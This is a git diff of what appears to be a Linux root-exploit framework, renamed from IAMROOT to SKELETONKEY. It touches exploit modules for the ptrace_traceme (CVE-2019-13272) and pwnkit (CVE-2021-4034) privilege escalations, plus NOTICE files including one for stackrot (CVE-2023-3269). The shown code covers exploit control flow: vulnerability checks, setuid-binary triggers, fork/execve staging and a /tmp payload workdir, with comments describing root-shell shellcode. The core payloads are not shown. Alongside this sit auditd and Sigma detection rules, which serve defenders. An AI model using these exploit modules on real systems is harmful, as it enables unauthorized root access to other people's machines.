@@ -118,14 +118,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
* shellcode that exec's /bin/sh.
* 10. C resumes P root shell.
*
* IAMROOT implementation simplifies by using a small architecture-
* SKELETONKEY implementation simplifies by using a small architecture-
* specific shellcode (x86_64 only) and pkexec as the setuid binary
* trigger (works on most Linux systems with polkit installed). Falls
* back to /bin/su if pkexec isn't available.
*
* Reliability: this exploit can fail-race on heavily-loaded systems.
* Repeat invocations usually succeed; we don't loop here operator
* can retry. Returns IAMROOT_EXPLOIT_FAIL on miss, IAMROOT_EXPLOIT_OK
* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
* on root acquired (followed by execlp(sh) which never returns).
*/
@@ -170,28 +170,28 @@ static const char *find_setuid_target(void)
return NULL;
}
static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
"(shellcode is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
iamroot_result_t pre = ptrace_traceme_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] ptrace_traceme: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
const char *setuid_bin = find_setuid_target();
if (!setuid_bin) {
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
@@ -199,7 +199,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: set up the ptrace_link, then pause until parent has
@@ -273,7 +273,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
perror("execve setuid");
int status;
waitpid(child, &status, 0);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif
}
@@ -281,10 +281,10 @@ static const char ptrace_traceme_auditd[] =
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
"# a setuid binary. False positives: gdb, strace, debuggers.\n"
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n"
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n";
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
const struct iamroot_module ptrace_traceme_module = {
const struct skeletonkey_module ptrace_traceme_module = {
.name = "ptrace_traceme",
.cve = "CVE-2019-13272",
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
@@ -300,7 +300,7 @@ const struct iamroot_module ptrace_traceme_module = {
.detect_falco = NULL,
};
void iamroot_register_ptrace_traceme(void)
void skeletonkey_register_ptrace_traceme(void)
{
iamroot_register(&ptrace_traceme_module);
skeletonkey_register(&ptrace_traceme_module);
}
@@ -0,0 +1,12 @@
/*
* ptrace_traceme_cve_2019_13272 SKELETONKEY module registry hook
*/
#ifndef PTRACE_TRACEME_SKELETONKEY_MODULES_H
#define PTRACE_TRACEME_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module ptrace_traceme_module;
#endif
+2 -2
View File
@@ -25,10 +25,10 @@ polkit until 0.121 (or distro backport).
- Debian: 0.105-31+deb11u1 (bullseye), 0.105-26+deb10u1 (buster)
- RHEL: polkit-0.115-13.el7_9 (RHEL 7), polkit-0.117-9.el8_5.1 (RHEL 8)
## IAMROOT detect logic (current)
## SKELETONKEY detect logic (current)
1. Resolve pkexec binary (`/usr/bin/pkexec` or `which pkexec`)
2. If not present → IAMROOT_OK (no attack surface)
2. If not present → SKELETONKEY_OK (no attack surface)
3. Run `pkexec --version` and parse version
4. Compare to known-fixed thresholds; report VULNERABLE if below
+25
View File
@@ -0,0 +1,25 @@
# NOTICE — pwnkit
## Vulnerability
**CVE-2021-4034** — pkexec argv[0]=NULL → environment-variable
injection → arbitrary code execution as root.
## Research credit
Discovered and disclosed by the **Qualys Research Team**, January 2022.
Original advisory:
<https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>
Upstream fix: polkit 0.121 (Jan 2022).
## SKELETONKEY role
The exploit module follows the canonical Qualys-style chain: writes
payload.c + gconv-modules cache, compiles via the target's gcc,
execve's pkexec with NULL argv and crafted envp. Handles both the
legacy ("0.105") and modern ("126") polkit version string formats.
Falls back gracefully on hosts without a compiler.
This is SKELETONKEY's first **userspace** LPE — not a kernel bug.
@@ -1,12 +0,0 @@
/*
* pwnkit_cve_2021_4034 IAMROOT module registry hook
*/
#ifndef PWNKIT_IAMROOT_MODULES_H
#define PWNKIT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module pwnkit_module;
#endif
@@ -1,5 +1,5 @@
/*
* pwnkit_cve_2021_4034 IAMROOT module
* pwnkit_cve_2021_4034 SKELETONKEY module
*
* STATUS: 🔵 DETECT-ONLY (2026-05-16). Full exploit follows.
*
@@ -13,15 +13,15 @@
* embedded .so generator) is well-documented; landing it is a
* follow-up commit.
*
* Pwnkit is the first USERSPACE LPE in IAMROOT the rest of the
* Pwnkit is the first USERSPACE LPE in SKELETONKEY the rest of the
* corpus is kernel bugs. The module shape is identical (same
* iamroot_module interface), but the affected-version check is
* skeletonkey_module interface), but the affected-version check is
* package-version-based rather than kernel-version-based. core/
* may eventually grow a `pkg_version` helper if a few more userspace
* modules need it.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
@@ -74,14 +74,14 @@ static bool pkexec_version_vulnerable(const char *version_str)
return min < 121; /* 0.121 is the fix */
}
static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t pwnkit_detect(const struct skeletonkey_ctx *ctx)
{
const char *pkexec_path = find_pkexec();
if (!pkexec_path) {
if (!ctx->json) {
fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
@@ -92,7 +92,7 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
FILE *p = popen(cmd, "r");
if (!p) return IAMROOT_TEST_ERROR;
if (!p) return SKELETONKEY_TEST_ERROR;
char line[256] = {0};
char *r = fgets(line, sizeof line, p);
@@ -101,12 +101,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
}
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
char *vp = strstr(line, "version");
if (!vp) return IAMROOT_TEST_ERROR;
if (!vp) return SKELETONKEY_TEST_ERROR;
vp += strlen("version");
while (*vp == ' ' || *vp == '\t') vp++;
@@ -124,12 +124,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] pwnkit: distro backports may have fixed lower-numbered versions;\n"
" check `apt-cache policy policykit-1` / `rpm -q polkit` for the patch level\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] pwnkit: pkexec version is ≥ 0.121 (fixed)\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Pwnkit exploit (canonical Qualys-style PoC) -----------------
@@ -203,29 +203,29 @@ static bool write_file_str(const char *path, const char *content)
return ok;
}
static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerable before doing anything visible. */
iamroot_result_t pre = pwnkit_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = pwnkit_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] pwnkit: detect() says not vulnerable; refusing\n");
return pre;
}
const char *pkexec = find_pkexec();
if (!pkexec) return IAMROOT_PRECOND_FAIL;
if (!pkexec) return SKELETONKEY_PRECOND_FAIL;
if (geteuid() == 0) {
fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Working dir under /tmp. Permissive on permissions so pkexec
* (running as root) can read everything inside. */
char workdir[] = "/tmp/iamroot-pwnkit-XXXXXX";
char workdir[] = "/tmp/skeletonkey-pwnkit-XXXXXX";
if (!mkdtemp(workdir)) {
perror("mkdtemp");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) fprintf(stderr, "[*] pwnkit: workdir = %s\n", workdir);
@@ -238,7 +238,7 @@ static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
" that's a future enhancement (multi-arch, distro-portable).\n"
" For now: install build-essential or run on a host with cc.\n");
rmdir(workdir);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) fprintf(stderr, "[*] pwnkit: compiler = %s\n", gcc);
@@ -339,22 +339,22 @@ fail:
snprintf(path, sizeof path, "%s/payload.c", workdir);
unlink(path);
rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t pwnkit_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
/* Best-effort: nuke any leftover iamroot-pwnkit-* dirs in /tmp.
/* Best-effort: nuke any leftover skeletonkey-pwnkit-* dirs in /tmp.
* Successful exploit cleans itself up (PWNKIT.so unlinks before
* execve /bin/sh). Failed exploit leaves the tmpdir. */
if (!ctx->json) {
fprintf(stderr, "[*] pwnkit: removing /tmp/iamroot-pwnkit-* workdirs\n");
fprintf(stderr, "[*] pwnkit: removing /tmp/skeletonkey-pwnkit-* workdirs\n");
}
if (system("rm -rf /tmp/iamroot-pwnkit-*") != 0) {
if (system("rm -rf /tmp/skeletonkey-pwnkit-*") != 0) {
/* harmless — there may not be any */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ----- Embedded detection rules ----- */
@@ -362,13 +362,13 @@ static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
static const char pwnkit_auditd[] =
"# Pwnkit (CVE-2021-4034) — auditd detection rules\n"
"# Flag pkexec execution from non-root + look for argc==0 indicators.\n"
"-w /usr/bin/pkexec -p x -k iamroot-pwnkit\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n"
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n";
"-w /usr/bin/pkexec -p x -k skeletonkey-pwnkit\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n"
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n";
static const char pwnkit_sigma[] =
"title: Possible Pwnkit exploitation (CVE-2021-4034)\n"
"id: 9e1d4f2c-iamroot-pwnkit\n"
"id: 9e1d4f2c-skeletonkey-pwnkit\n"
"status: experimental\n"
"description: |\n"
" Detects pkexec invocations with GCONV_PATH / CHARSET env tweaks (the\n"
@@ -387,7 +387,7 @@ static const char pwnkit_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.4034]\n";
const struct iamroot_module pwnkit_module = {
const struct skeletonkey_module pwnkit_module = {
.name = "pwnkit",
.cve = "CVE-2021-4034",
.summary = "pkexec argv[0]=NULL → env-injection LPE (polkit ≤ 0.120)",
@@ -403,7 +403,7 @@ const struct iamroot_module pwnkit_module = {
.detect_falco = NULL,
};
void iamroot_register_pwnkit(void)
void skeletonkey_register_pwnkit(void)
{
iamroot_register(&pwnkit_module);
skeletonkey_register(&pwnkit_module);
}
@@ -0,0 +1,12 @@
/*
* pwnkit_cve_2021_4034 SKELETONKEY module registry hook
*/
#ifndef PWNKIT_SKELETONKEY_MODULES_H
#define PWNKIT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module pwnkit_module;
#endif
+31
View File
@@ -0,0 +1,31 @@
# NOTICE — stackrot (CVE-2023-3269)
## Vulnerability
**CVE-2023-3269** — Maple-tree VMA-split UAF (race between mremap and
fork+fault) → kernel R/W via stale anon_vma_chain reference.
## Research credit
Discovered and disclosed by **Ruihan Li** (Peking University),
July 2023.
Original advisory: <https://github.com/lrh2000/StackRot>
Writeup: <https://lkmidas.github.io/posts/20230724-stackrot/>
Upstream fix: mainline 6.5-rc1 (commit `0503ea8f5ba73`, July 2023).
Branch backports: 6.4.4 / 6.3.13 / 6.1.37.
## SKELETONKEY role
Two-thread race driver (Thread A: mremap rotation on MAP_GROWSDOWN
anchored VMA; Thread B: fork+fault) with cpu pinning. kmalloc-192
spray for anon_vma_chain reclaim. Bounded budget: 3 s default,
30 s with `--full-chain`.
**Honest reliability assessment:** ~<1% race-win per run on a
vulnerable kernel. Ruihan Li's public PoC averages minutes-to-hours
and needs a much wider VMA-staging matrix to be reliable. The
shared finisher's 3 s sentinel timeout handles the overwhelmingly
common no-land outcome gracefully — module returns EXPLOIT_FAIL
honestly rather than claim root on a race that didn't win.

Some files were not shown because too many files have changed in this diff Show More